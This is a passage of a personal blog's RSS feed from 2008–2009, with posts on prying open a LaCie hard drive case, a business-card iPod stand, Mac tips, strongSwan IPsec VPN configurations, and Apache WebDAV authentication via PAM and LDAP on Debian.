		<category><![CDATA[New & Cool]]></category>
		<category><![CDATA[Tutorials]]></category>
		<category><![CDATA[Deskstar]]></category>
		<category><![CDATA[Do-It-Yourself]]></category>
		<category><![CDATA[Hard Drive]]></category>
		<category><![CDATA[Hitachi]]></category>
		<category><![CDATA[HowTo]]></category>
		<category><![CDATA[LaCie]]></category>
		<category><![CDATA[Neil Poulton]]></category>
		<category><![CDATA[Open]]></category>
		<category><![CDATA[Tutorial]]></category>

		<guid isPermaLink="false">http://www.devilx.net/?p=872</guid>
		<description><![CDATA[For some time now I was searching for documentation on the internet about how to open my LaCie &#8220;Neil Poulton Design&#8221; hard drive, but I could not find anything. As it seems, this drive will be bought only by Apple &#8230; <a href="http://devilx.net/2009/05/09/neil-this-tricky-little-boy/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>For some time now I was searching for documentation on the internet about how to open my LaCie &#8220;Neil Poulton Design&#8221; hard drive, but I could not find anything. As it seems, this drive will be bought only by Apple users with probably two left hands and too much money for constantly spending it on a new one, when TimeMachine strewn it with its backups. Today then I thought, <em>&#8220;Eh, come on, I finally want to have this thing open!&#8221;</em> &#8211; and so I did.</p>
<p>First of all, let&#8217;s have a look at the drive itself. It&#8217;s plain. Really plain. No holes, no screws, nothing. How the f*ck shall we open this thing. Let&#8217;s take a look under its gum-feet. Nah, not even there. What he hack? So, as it seems, this drive can&#8217;t be opened. Wrong! <em>Yes we can</em>!</p>
<p>What do we need therefor?</p>
<table border="0">
<tbody>
<tr >
<td style="background-color: transparent;">
<p><div id="attachment_873" class="wp-caption alignnone" style="width: 160px"><a href="http://www.devilx.net/wp-content/uploads/2009/05/image005.jpg"><img class="size-thumbnail wp-image-873" title="A cloth, for not scratching the gloss" src="http://www.devilx.net/wp-content/uploads/2009/05/image005-150x150.jpg" alt="A cloth, for not scratching the gloss" width="150" height="150" /></a><p class="wp-caption-text">A cloth, for not scratching the gloss</p></div></td>
<td style="background-color: transparent;">
<p><div id="attachment_874" class="wp-caption alignnone" style="width: 160px"><a href="http://www.devilx.net/wp-content/uploads/2009/05/image006.jpg"><img class="size-thumbnail wp-image-874 " title="A strong thread" src="http://www.devilx.net/wp-content/uploads/2009/05/image006-150x150.jpg" alt="A strong thread" width="150" height="150" /></a><p class="wp-caption-text">A strong thread</p></div></td>
<td style="background-color: transparent;">
<p><div id="attachment_875" class="wp-caption alignnone" style="width: 160px"><a href="http://www.devilx.net/wp-content/uploads/2009/05/image007.jpg"><img class="size-thumbnail wp-image-875" title="A modified paperclip" src="http://www.devilx.net/wp-content/uploads/2009/05/image007-150x150.jpg" alt="A modified paperclip" width="150" height="150" /></a><p class="wp-caption-text">A modified paperclip</p></div></td>
</tr>
</tbody>
</table>
<p>Okay, now we&#8217;re all set up. First of all, take the hard drive and turn it upside-down. Place it on the cloth to not scratch its lickable, glossy exterior.</p>
<div id="attachment_876" class="wp-caption alignleft" style="width: 160px"><a href="http://www.devilx.net/wp-content/uploads/2009/05/image000.jpg"><img class="size-thumbnail wp-image-876" title="Place it on the cloth" src="http://www.devilx.net/wp-content/uploads/2009/05/image000-150x150.jpg" alt="Place it on the cloth" width="150" height="150" /></a><p class="wp-caption-text">Place it on the cloth</p></div>
<p>Next, take the thread and try to run it through the holes on the case&#8217;s bottom, so that you have something to pull the hard disk out of the case. Now try to bend the sides of the plastic-case out carefully and pull drive out piece for piece. You could also use some credit card or other thin piece of plastic (not metal, it will kill the plastic-borders!) for doing this. Warning, this could cause serious damage to your credit card!</p>
<p>Do the credit card-thing on the front-side, the left- and right-side. When pulled it out some millimeters on each of those side, take all the pieces of your thread and try to pull out the drive to the back (e.g. rotation of 90 degrees around the drive&#8217;s back-side). On the back, there&#8217;s the button for turning it on and off, so you won&#8217;t be able to pull it out vertically. If you&#8217;ve successfully managed to pull out the drive, the whole scenario should look similar to this:</p>
<table border="0">
<tbody>
<tr>
<td style="background-color: transparent;">
<p><div id="attachment_878" class="wp-caption alignnone" style="width: 160px"><a href="http://www.devilx.net/wp-content/uploads/2009/05/image002.jpg"><img class="size-thumbnail wp-image-878" title="Pulled out the drive" src="http://www.devilx.net/wp-content/uploads/2009/05/image002-150x150.jpg" alt="Pulled out the drive" width="150" height="150" /></a><p class="wp-caption-text">Pulled out the drive</p></div></td>
<td style="background-color: transparent;">
<p><div id="attachment_877" class="wp-caption alignnone" style="width: 160px"><a href="http://www.devilx.net/wp-content/uploads/2009/05/image001.jpg"><img class="size-thumbnail wp-image-877" title="Pulled out the drive" src="http://www.devilx.net/wp-content/uploads/2009/05/image001-150x150.jpg" alt="Pulled out the drive" width="150" height="150" /></a><p class="wp-caption-text">Pulled out the drive</p></div></td>
</tr>
</tbody>
</table>
<p>Now, you can see the actual hard drive which is mounted to the bottom-part of the whole case. After inspecting the construction you can see that there were to glueing-points or any hooks we broke while opening the drive. This means, that if you&#8217;ve done it right, you won&#8217;t see that anything ever changed on that drive.</p>
<p>Now, I can finally get myself a 750GB (or even 1TB?) hard-drive and build that in. <img src='http://devilx.net/wp-content/plugins/smilies-themer/Riceballs/smile.png' alt=':-)' class='wp-smiley' /> </p>
<p>Happy trying!</p>
<p>//btw: As you notice, LaCie builds in Hitachi Deskstars on these drives. These drives cost something around 50 bucks nowadays. The complete case is around 90 bucks.</p>
]]></content:encoded>
			<wfw:commentRss>http://devilx.net/2009/05/09/neil-this-tricky-little-boy/feed/</wfw:commentRss>
		<slash:comments>49</slash:comments>
		</item>
		<item>
		<title>What to do with old Business Cards?</title>
		<link>http://devilx.net/2009/02/16/what-to-do-with-old-business-cards/</link>
		<comments>http://devilx.net/2009/02/16/what-to-do-with-old-business-cards/#comments</comments>
		<pubDate>Sun, 15 Feb 2009 23:06:12 +0000</pubDate>
		<dc:creator>Marius</dc:creator>
				<category><![CDATA[Art & Design]]></category>
		<category><![CDATA[Fun]]></category>
		<category><![CDATA[Hot Gear]]></category>
		<category><![CDATA[Life itself]]></category>
		<category><![CDATA[Lifestyle]]></category>
		<category><![CDATA[Mac and stuff ...]]></category>
		<category><![CDATA[New & Cool]]></category>
		<category><![CDATA[Tutorials]]></category>
		<category><![CDATA[Apple]]></category>
		<category><![CDATA[Business Card]]></category>
		<category><![CDATA[Device]]></category>
		<category><![CDATA[Flip Clock]]></category>
		<category><![CDATA[iPhone]]></category>
		<category><![CDATA[iPod]]></category>
		<category><![CDATA[Mac]]></category>
		<category><![CDATA[Stand]]></category>
		<category><![CDATA[Stereo]]></category>
		<category><![CDATA[Touch]]></category>

		<guid isPermaLink="false">http://www.devilx.net/?p=768</guid>
		<description><![CDATA[This evening I saw the bunch of old business cards I still have from my former employer lying on my table, and I was wondering whether to throw the majority away or what else I could do with them. I &#8230; <a href="http://devilx.net/2009/02/16/what-to-do-with-old-business-cards/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<div class="wp-caption alignleft" style="width: 154px"><a href="http://picasaweb.google.com/0x0090/MyCoolSelfMadeIPodStand#5303132581389560626"><img title="iPod Stand" src="http://lh3.ggpht.com/_oEtlJV6neHY/SZiC_E6GazI/AAAAAAAACIo/LWNDn42637I/s144/Image015.jpg" alt="iPod Stand" width="144" height="108" /></a><p class="wp-caption-text">iPod Stand</p></div>
<p>This evening I saw the bunch of old business cards I still have from my former employer lying on my table, and I was wondering whether to throw the majority away or what else I could do with them. I still have over fifty of these tiny little pieces of carton here and just experimented a bit&#8230; and well, <a title="My Cool, Self-Made iPod Stand" href="http://picasaweb.google.com/0x0090/MyCoolSelfMadeIPodStand#" target="_self">this is</a> what I came out with. <img src='http://devilx.net/wp-content/plugins/smilies-themer/Riceballs/smile.png' alt=':-)' class='wp-smiley' /> </p>
<p>I was searching for quite a long time to get some kind of stand for my iPod, since I&#8217;m already using it as alarm clock and would also love to have it running the <a title="Flip Clock" href="http://phobos.apple.com/WebObjects/MZStore.woa/wa/viewSoftware?id=291430689&amp;mt=8" target="_blank">&#8220;Flip Clock&#8221; App</a> on my bedside table at night. Of course, there are stands for the iPhone and the iPod, but I&#8217;m not crazy spending over twenty bucks on a dumb stand. A piece of wood or aluminum, whose only purpose is to hold a device. Not connect it to another device (e.g. your Mac or your stereo) &#8211; just to hold it. </p>
<p>However, maybe you like the idea and try it out yourself sometime. <img src='http://devilx.net/wp-content/plugins/smilies-themer/Riceballs/smile.png' alt=':-)' class='wp-smiley' /> </p>
<p>Enjoy!</p>
]]></content:encoded>
			<wfw:commentRss>http://devilx.net/2009/02/16/what-to-do-with-old-business-cards/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Did you knew&#8230;</title>
		<link>http://devilx.net/2009/01/01/did-you-knew/</link>
		<comments>http://devilx.net/2009/01/01/did-you-knew/#comments</comments>
		<pubDate>Thu, 01 Jan 2009 17:39:37 +0000</pubDate>
		<dc:creator>Marius</dc:creator>
				<category><![CDATA[Mac and stuff ...]]></category>
		<category><![CDATA[New & Cool]]></category>
		<category><![CDATA[Tutorials]]></category>
		<category><![CDATA[Apple]]></category>
		<category><![CDATA[Application]]></category>
		<category><![CDATA[Button]]></category>
		<category><![CDATA[Cool]]></category>
		<category><![CDATA[Hint]]></category>
		<category><![CDATA[Home]]></category>
		<category><![CDATA[iPod]]></category>
		<category><![CDATA[Music]]></category>
		<category><![CDATA[Nice]]></category>
		<category><![CDATA[Pause]]></category>
		<category><![CDATA[Play]]></category>
		<category><![CDATA[Touch]]></category>
		<category><![CDATA[Volume]]></category>

		<guid isPermaLink="false">http://www.devilx.net/?p=726</guid>
		<description><![CDATA[&#8230; that you can double-press your iPod Touch&#8217;s &#8220;Home&#8221;-Button to get a window pop up which let&#8217;s you change the currently playing some, pause/play it, change the volume level or close the actual application and open the music player? Well, &#8230; <a href="http://devilx.net/2009/01/01/did-you-knew/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>&#8230; that you can double-press your iPod Touch&#8217;s &#8220;Home&#8221;-Button to get a window pop up which let&#8217;s you change the currently playing some, pause/play it, change the volume level or close the actual application and open the music player? Well, cool. Found it out by accidentally pressing the &#8220;Home&#8221;-button twice. By that, you don&#8217;t need to quit your current application just for changing the currently playing song. Pretty nice!</p>
]]></content:encoded>
			<wfw:commentRss>http://devilx.net/2009/01/01/did-you-knew/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Get rid of Menu-bar icons (e.g. MobileMe) in OS X Leopard</title>
		<link>http://devilx.net/2008/11/30/get-rid-of-menu-bar-icons-eg-mobileme-in-os-x-leopard/</link>
		<comments>http://devilx.net/2008/11/30/get-rid-of-menu-bar-icons-eg-mobileme-in-os-x-leopard/#comments</comments>
		<pubDate>Sun, 30 Nov 2008 13:58:21 +0000</pubDate>
		<dc:creator>Marius</dc:creator>
				<category><![CDATA[Mac and stuff ...]]></category>
		<category><![CDATA[Tutorials]]></category>
		<category><![CDATA[Apple]]></category>
		<category><![CDATA[Dock]]></category>
		<category><![CDATA[Leopard]]></category>
		<category><![CDATA[Mac]]></category>
		<category><![CDATA[Menu]]></category>
		<category><![CDATA[MobileMe]]></category>
		<category><![CDATA[Simple]]></category>

		<guid isPermaLink="false">http://www.devilx.net/?p=647</guid>
		<description><![CDATA[I was just wondering how to get rid of the MobileMe icon in OS X Leopard and found out, that every icon can be moved or deleted by keeping the command-key pressed and dragging the specific icon either to its &#8230; <a href="http://devilx.net/2008/11/30/get-rid-of-menu-bar-icons-eg-mobileme-in-os-x-leopard/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>I was just wondering how to get rid of the MobileMe icon in OS X Leopard and found out, that every icon can be moved or deleted by keeping the command-key pressed and dragging the specific icon either to its new position to move it, or out of the menu-bar to remove it. Just like the icons in OS X&#8217;s Dock.</p>
<p>So simple. Mac. <img src='http://devilx.net/wp-content/plugins/smilies-themer/Riceballs/smile.png' alt=':-)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://devilx.net/2008/11/30/get-rid-of-menu-bar-icons-eg-mobileme-in-os-x-leopard/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>strongS/WAN over NAT-T with IKEv2 (Pt. 2, a.k.a. &#8220;The Roadwarrior Setup&#8221;)</title>
		<link>http://devilx.net/2008/10/08/strongswan-over-nat-t-with-ikev2-pt-2-aka-the-roadwarrior-setup/</link>
		<comments>http://devilx.net/2008/10/08/strongswan-over-nat-t-with-ikev2-pt-2-aka-the-roadwarrior-setup/#comments</comments>
		<pubDate>Wed, 08 Oct 2008 12:41:54 +0000</pubDate>
		<dc:creator>Marius</dc:creator>
				<category><![CDATA[Linux and stuff ...]]></category>
		<category><![CDATA[New & Cool]]></category>
		<category><![CDATA[Tutorials]]></category>
		<category><![CDATA[BSD]]></category>
		<category><![CDATA[Cool]]></category>
		<category><![CDATA[DHCP]]></category>
		<category><![CDATA[HowTo]]></category>
		<category><![CDATA[IKE]]></category>
		<category><![CDATA[IKEv2]]></category>
		<category><![CDATA[IP]]></category>
		<category><![CDATA[IPsec]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[NAT]]></category>
		<category><![CDATA[NAT-T]]></category>
		<category><![CDATA[Network]]></category>
		<category><![CDATA[OpenSource]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Server]]></category>
		<category><![CDATA[strongS/WAN]]></category>
		<category><![CDATA[VPN]]></category>

		<guid isPermaLink="false">http://www.devilx.net/?p=565</guid>
		<description><![CDATA[Some days ago I showed up a specific scenario and described how a strongS/WAN configuration for this could look like. Now, I would like to add additional information on how the scenario can be tuned so that even &#8220;Roadwarriors&#8221; could &#8230; <a href="http://devilx.net/2008/10/08/strongswan-over-nat-t-with-ikev2-pt-2-aka-the-roadwarrior-setup/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Some days ago I <a title="strongS/WAN over NAT-T with IKEv2" href="http://devilx.net/?p=558" target="_self">showed up a specific scenario and described</a> how a strongS/WAN configuration for this could look like. Now, I would like to add additional information on how the scenario can be tuned so that even &#8220;Roadwarriors&#8221; could connect from any network infrastructure, indifferent whether they&#8217;re directly on a public IP or share their public IP with others, behind another NAT network. Let&#8217;s take a look at the client config:<br />
<code><span id="more-565"></span><br />
config setup<br />
plutostart=no</code></p>
<p><code> </code></p>
<p><code>conn nat-t<br />
ikelifetime=60m<br />
keylife=20m<br />
rekeymargin=3m<br />
keyingtries=1<br />
keyexchange=ikev2<br />
authby=secret<br />
left=192.168.10.193<br />
leftsubnet=10.1.0.0/24<br />
leftfirewall=yes<br />
right=%defaultroute<br />
rightid=client@example.com<br />
rightsourceip=10.100.0.2<br />
auto=add<br />
</code><br />
We added a new virtual IP (rightsourceip) for the client. The network of this IP will be defined on the server&#8217;s configuration. We need this for the whole scenario to work out, even if the client/Roadwarrior is behind a NAT. As rightid (client-id) we use the client&#8217;s e-mail address.<br />
Server config:<br />
<code><br />
config setup<br />
plutostart=no</code></p>
<p><code> </code></p>
<p><code>conn nat-t<br />
ikelifetime=60m<br />
keylife=20m<br />
rekeymargin=3m<br />
keyingtries=1<br />
keyexchange=ikev2<br />
authby=secret<br />
left=10.1.0.4<br />
leftsubnet=10.1.0.0/24<br />
leftid=192.168.10.193<br />
leftfirewall=yes<br />
right=%any<br />
rightid=client@example.com<br />
rightsubnetwithin=10.100.0.0/24<br />
auto=add<br />
</code></p>
<p>Here, we also defined the client&#8217;s e-mail address as rightid, defined that the right side could be anything (&#8220;%any&#8221;) and told the server to serve the virtual network 10.100.0.0/24 for the right side. By that, the configuration can be applied to different clients and the actual IP configuration is provided on the client&#8217;s side. Yet, I did not find out whether there&#8217;s a possibility to set up some DHCP server and provide connecting clients a dynamic address automatically.<br />
However, this setup now also works with Roadwarriors that are behind NATs, what means that the actual setup could look like this:</p>
<p>[roadwarrior]&#8212;-[nat]&#8212;internet&#8212;[nat]&#8212;[server]&#8212;network</p>
<p>Isn&#8217;t this cool? <img src='http://devilx.net/wp-content/plugins/smilies-themer/Riceballs/wink.png' alt=';-)' class='wp-smiley' /> <br />
Enjoy.</p>
]]></content:encoded>
			<wfw:commentRss>http://devilx.net/2008/10/08/strongswan-over-nat-t-with-ikev2-pt-2-aka-the-roadwarrior-setup/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>strongS/WAN over NAT-T with IKEv2</title>
		<link>http://devilx.net/2008/10/01/strongswan-over-nat-t-with-ikev2/</link>
		<comments>http://devilx.net/2008/10/01/strongswan-over-nat-t-with-ikev2/#comments</comments>
		<pubDate>Wed, 01 Oct 2008 18:11:03 +0000</pubDate>
		<dc:creator>Marius</dc:creator>
				<category><![CDATA[Linux and stuff ...]]></category>
		<category><![CDATA[New & Cool]]></category>
		<category><![CDATA[Tutorials]]></category>
		<category><![CDATA[Cool]]></category>
		<category><![CDATA[HowTo]]></category>
		<category><![CDATA[IKE]]></category>
		<category><![CDATA[IKEv2]]></category>
		<category><![CDATA[IPsec]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[NAT]]></category>
		<category><![CDATA[NAT-T]]></category>
		<category><![CDATA[Network]]></category>
		<category><![CDATA[OpenSource]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Server]]></category>
		<category><![CDATA[strongS/WAN]]></category>
		<category><![CDATA[VMware]]></category>
		<category><![CDATA[VPN]]></category>

		<guid isPermaLink="false">http://www.devilx.net/?p=558</guid>
		<description><![CDATA[Yay, it&#8217;s time for another HowTo boys and girls! Okay, let&#8217;s cut that crap. So, imagine the following scenario: We&#8217;re in a network (in my example 192.168.10.0/24) and there are two components we focus on: One client (a Linux laptop, &#8230; <a href="http://devilx.net/2008/10/01/strongswan-over-nat-t-with-ikev2/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Yay, it&#8217;s time for another HowTo boys and girls! Okay, let&#8217;s cut that crap. So, imagine the following scenario:</p>
<p>We&#8217;re in a network (in my example 192.168.10.0/24) and there are two components we focus on: One client (a Linux laptop, 192.168.10.184) and a VMware Server (192.168.10.193). On this server, we have a VMware NAT-Network (10.1.0.0/24), where the gateway is has the 10.1.0.2 and our JumpHost has the 10.1.0.4. The client (our laptop) now wants to be able to simply connect other hosts within our 10.1.0.0/24 network. Besides, it would be nice to have some kind of security in bewteen these connections. So what would be better than using a VPN? <img src='http://devilx.net/wp-content/plugins/smilies-themer/Riceballs/smile.png' alt=':-)' class='wp-smiley' /> </p>
<p>Of course, we could use simple SSH tunnels or some OpenVPN setup &#8211; but this would be boring. <img src='http://devilx.net/wp-content/plugins/smilies-themer/Riceballs/wink.png' alt=';-)' class='wp-smiley' /> So, we decide to to use IPsec. In detail, we&#8217;re using strongS/WAN to setup the whole scenario.</p>
<p>Now first of all we have two problems: First of all, we have a NAT (from the view of IPsec/IKE: NAT-Traversal) through which we can&#8217;t tunnel layer 3 protocols. The only thing we can do, is to teach our VMware Server to forward UDP or TCP ports to Guests.</p>
<p>The second thing that might become a problem is the fact, that we&#8217;re not using the IPsec daemon within the VM to distribute another network &#8211; instead we are distributing his own network. But however, enough with the talk, let&#8217;s do the work.</p>
<p>Thanks to <a title="SA_2006_NAT-T.pdf" href="http://security.hsr.ch/projects/SA_2006_NAT-T.pdf" target="_self">Tobias Brunner and Daniel RÃ¶thlisberger</a>, strongS/WAN experienced in 2006 the implementation of the NAT-T feature. This feature, allows to &#8220;tunnel&#8221; IPsec (a layer 3 protocol) through layer 4 (UDP). So the first thing we need to do, is to tell our VMware Server to forward the UDP ports 500 and 4500 to our JumpHost-VM. After we&#8217;ve done this, we can start setting up the strongS/WANs on the client and the JumpHost himself.</p>
<p><span id="more-558"></span>In this scenario I used Debian SID on both systems, since Debian&#8217;s current stable release provides only an very old version of strongS/WAN. So:<br />
<code><br />
aptitude install strongswan<br />
</code><br />
&#8230; on both systems. After that, we open the /etc/ipsec.secrets on both hosts and insert the following line:<br />
<code><br />
%any : PSK "abcdefghijklmnopqer"<br />
</code><br />
Of course, you can replace the key by your own one. After that, we take the ipsec.conf of the client and insert our configuration:<br />
<code><br />
config setup<br />
plutostart=no</code></p>
<p>conn nat-t<br />
ikelifetime=60m<br />
keylife=20m<br />
rekeymargin=3m<br />
keyingtries=1<br />
keyexchange=ikev2<br />
authby=secret<br />
left=192.168.10.193<br />
leftsubnet=10.1.0.0/24<br />
leftfirewall=yes<br />
right=192.168.10.184<br />
rightsubnet=192.168.10.0/24<br />
auto=add</p>
<p>As mentioned in the title, we use IKEv2. To simplify the scenario, we use the secret we just configured as authentication method. The configuration should be adaptable pretty easy for certificate usage.<br />
On the server we now also insert our configuration into the ipsec.conf:<br />
<code><br />
config setup<br />
plutostart=no</code></p>
<p>conn nat-t<br />
ikelifetime=60m<br />
keylife=20m<br />
rekeymargin=3m<br />
keyingtries=1<br />
keyexchange=ikev2<br />
authby=secret<br />
left=10.1.0.4<br />
leftsubnet=10.1.0.0/24<br />
leftid=192.168.10.193<br />
leftfirewall=yes<br />
right=%any<br />
auto=add</p>
<p>After restarting both daemons, executing <em>ipsec up nat-t</em> and also <em>ipsec route nat-t</em> you should be able to ping the hosts on our 10.1.0.0/24 network.</p>
<p>The tricky part in this setup is the leftid= parameter in out server&#8217;s configuration. Without that option the whole authentication procedure doesn&#8217;t work out, because the daemon will complain to not have any configuration for &#8220;[192.168.10.184]&#8230;[192.168.10.193]&#8221; and because of that not let the client connect. The reason for this is, that the client only sees the NAT-Router (our VMware Server, .193) and of course tries to sets up the connection using his IP. The NAT-Router then forwards the requests to the actual strongS/WAN daemon (10.1.0.4) which of course says <em>&#8220;Wtf?! I&#8217;m the 10.1.0.4, what should I do with this package I received for 192.168.10.193?&#8221;</em>. And this where the leftid= parameter comes in.</p>
<p>However, I think the stuff should be more clear now. If there are any questions left, feel free to ask. Enjoy! <img src='http://devilx.net/wp-content/plugins/smilies-themer/Riceballs/smile.png' alt=':-)' class='wp-smiley' /> </p>
<p>Anyway, so that&#8217;s actually the whole setup.</p>
]]></content:encoded>
			<wfw:commentRss>http://devilx.net/2008/10/01/strongswan-over-nat-t-with-ikev2/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>WebDAV over SSL using LDAP with Apache2 on Debian</title>
		<link>http://devilx.net/2008/09/07/webdav-over-ssl-using-ldap-with-apache2-on-debian/</link>
		<comments>http://devilx.net/2008/09/07/webdav-over-ssl-using-ldap-with-apache2-on-debian/#comments</comments>
		<pubDate>Sun, 07 Sep 2008 16:36:16 +0000</pubDate>
		<dc:creator>Marius</dc:creator>
				<category><![CDATA[Linux and stuff ...]]></category>
		<category><![CDATA[New & Cool]]></category>
		<category><![CDATA[Tutorials]]></category>
		<category><![CDATA[Apache]]></category>
		<category><![CDATA[Cool]]></category>
		<category><![CDATA[Debian]]></category>
		<category><![CDATA[HowTo]]></category>
		<category><![CDATA[LDAP]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[OpenSource]]></category>
		<category><![CDATA[PAM]]></category>
		<category><![CDATA[SSL]]></category>
		<category><![CDATA[Tutorial]]></category>
		<category><![CDATA[WebDAV]]></category>

		<guid isPermaLink="false">http://www.devilx.net/?p=523</guid>
		<description><![CDATA[Some time ago, I just published a short summary of how to set up a WebDAV over SSL using Apache2 with PAM authentication. Unfortunatelly, the solution had one ugly part: The user www-data must be added to the group shadow, &#8230; <a href="http://devilx.net/2008/09/07/webdav-over-ssl-using-ldap-with-apache2-on-debian/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Some time ago, <a title="WebDAV over SSL using PAM with Apache2 on Debian" href="http://devilx.net/?p=513" target="_self">I just published a short summary</a> of how to set up a WebDAV over SSL using Apache2 with PAM authentication. Unfortunatelly, the solution had one ugly part: The user www-data must be added to the group shadow, so that it can read the /etc/shadow which is needed for authentication. So I thought, let&#8217;s just migrate it to LDAP. <img src='http://devilx.net/wp-content/plugins/smilies-themer/Riceballs/smile.png' alt=':-)' class='wp-smiley' /> <br />
<code><br />
~# aptitude install slapd libpam-ldap libnss-ldap ldap-utils migrationtools nscd<br />
</code><br />
Enter your rootbinddn and a secret, besides select the ldap protocol version 3. Then open <em>/etc/ldap/ldap.conf</em> and configure it the way needed. As URI take <em>ldap://127.0.0.1</em>. At this point we do not use SSL/TLS, since the SLAPD will only run on the local host and no data will be sent over the network. However, <em>/etc/pam_ldap.conf</em>:<br />
<code><br />
host 127.0.0.1<br />
base [your basedn]<br />
ldap_version 3<br />
rootbinddn [your rootbinddn, usually cn=admin,[base]]<br />
pam_password crypt<br />
nss_initgroups_ignoreusers backup,bin,daemon,dhcp,games,gnats,irc,klog,libuuid,list,lp,mail,man,news,ntp,nx,proxy,root,sshd,statd,sync,sys,syslog,uucp,www-data<br />
</code><br />
<em>/etc/nsswitch.conf</em><br />
<code><br />
passwd:		ldap files<br />
group:		ldap files<br />
shadow:		ldap files</code></p>
<p>hosts:          files dns<br />
networks:       files</p>
<p>protocols:      db files<br />
services:       db files<br />
ethers:         db files<br />
rpc:            db files</p>
<p>netgroup:       nis</p>
<p><strong> Btw:</strong> Don&#8217;t forget to put your secret into /etc/pam_ldap.secret! Anyway, let&#8217;s go on&#8230;<br />
<em>/etc/pam.d/common-account:</em><br />
<code><br />
account sufficient pam_unix.so<br />
account sufficient pam_ldap.so<br />
account required pam_deny.so<br />
</code><br />
<em> /etc/pam.d/common-auth</em><br />
<code><br />
auth sufficient pam_unix.so<br />
auth sufficient pam_ldap.so use_first_pass<br />
auth required pam_deny.so<br />
</code><br />
<em> /etc/pam.d/common-password</em><br />
<code><br />
password   sufficient   pam_unix.so nullok md5 shadow use_authtok<br />
password   sufficient   pam_ldap.so use_first_pass use_authtok md5<br />
password   required     pam_deny.so<br />
</code><br />
The common-session doesn&#8217;t need to be changed on the setup we need. Now, edit <em>/usr/share/migrationtools/migrate_common.ph</em> and change the domain to yours. With the tools (migrate_base, *_passwd, *_group) contained in that directory you can migrate your actualy existing /etc/passwd and /etc/group to your ldap. Or you just create these entries manually. However, now let&#8217;s load the apache modules:<br />
<code><br />
a2enmod ldap<br />
a2enmod authnz_ldap<br />
</code><br />
&#8230; and reconfigure our WebDAV VirtualHost:<br />
<code><br />
...<br />
DAV On<br />
AuthType Basic<br />
AuthName "WebDAV"<br />
AuthBasicProvider ldap<br />
AuthLDAPURL "ldap://127.0.0.1/ou=people,[your base here]"<br />
AuthLDAPRemoteUserIsDN off<br />
ForceType text/plain<br />
Require valid-user<br />
Require ldap-filter &amp;(uid=*)<br />
...<br />
</code><br />
And last but not least, let&#8217;s restart all servics:<br />
<code><br />
/etc/init.d/slapd restart<br />
/etc/init.d/nscd restart<br />
/etc/init.d/apache2 restart<br />
</code><br />
Voila! The authentication of your WebDAV against LDAP should be working now. Now the only thing that&#8217;s left to do, is to remove the user www-data from the shadow group again. And maybe you&#8217;d like to change your LDAP-user&#8217;s passwords:<br />
<code><br />
ldappasswd -x -D cn=admin,[your base here] -W uid=[username],ou=people,[your base here] -S<br />
</code><br />
And the next time, I&#8217;ll show you how you can build yourself an automatic back-scratcher using a wall, glue and a cat.</p>
]]></content:encoded>
			<wfw:commentRss>http://devilx.net/2008/09/07/webdav-over-ssl-using-ldap-with-apache2-on-debian/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>WebDAV over SSL using PAM with Apache2 on Debian</title>
		<link>http://devilx.net/2008/09/04/webdav-over-ssl-using-pam-with-apache2-on-debian/</link>
		<comments>http://devilx.net/2008/09/04/webdav-over-ssl-using-pam-with-apache2-on-debian/#comments</comments>
		<pubDate>Wed, 03 Sep 2008 23:17:55 +0000</pubDate>
		<dc:creator>Marius</dc:creator>
				<category><![CDATA[Linux and stuff ...]]></category>
		<category><![CDATA[New & Cool]]></category>
		<category><![CDATA[Tutorials]]></category>
		<category><![CDATA[Apache]]></category>
		<category><![CDATA[Configuration]]></category>
		<category><![CDATA[Cool]]></category>
		<category><![CDATA[DAV]]></category>
		<category><![CDATA[Debian]]></category>
		<category><![CDATA[HowTo]]></category>
		<category><![CDATA[iDisk]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[OpenSource]]></category>
		<category><![CDATA[PAM]]></category>
		<category><![CDATA[SSL]]></category>
		<category><![CDATA[WebDAV]]></category>

		<guid isPermaLink="false">http://www.devilx.net/?p=513</guid>
		<description><![CDATA[Phew, what a long title. Whatever. What do we need? First of all, a Debian system. I&#8217;m preffering a Debian Etch &#8216;n Half at this point. On that system, we need an Apache (2) and the PAM authentication module: ~# &#8230; <a href="http://devilx.net/2008/09/04/webdav-over-ssl-using-pam-with-apache2-on-debian/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Phew, what a long title. Whatever. What do we need? First of all, a Debian system. I&#8217;m preffering a Debian Etch &#8216;n Half at this point. On that system, we need an Apache (2) and the PAM authentication module:<br />
<code><br />
~# aptitude install apache2 libapache2-mod-auth-pam<br />
</code><br />
Now, first of all we activate SSL and WebDAV:<br />
<code><br />
~# a2enmod ssl<br />
~# a2enmod dav<br />
~# a2enmod dav_fs<br />
</code><br />
Next, we tell our Apache to listen on 443, for SSL:<br />
<code><br />
echo "Listen 443" &gt;&gt; /etc/apache2/ports.conf<br />
</code><br />
Then, we configure our SSL VirtualHost:<br />
<code><br />
NameVirtualHost *:443<br />
&lt;VirtualHost *:443&gt;<br />
ServerName my.serv.er<br />
ServerAdmin webmaster@serv.er</code></p>
<p>SSLEngine On<br />
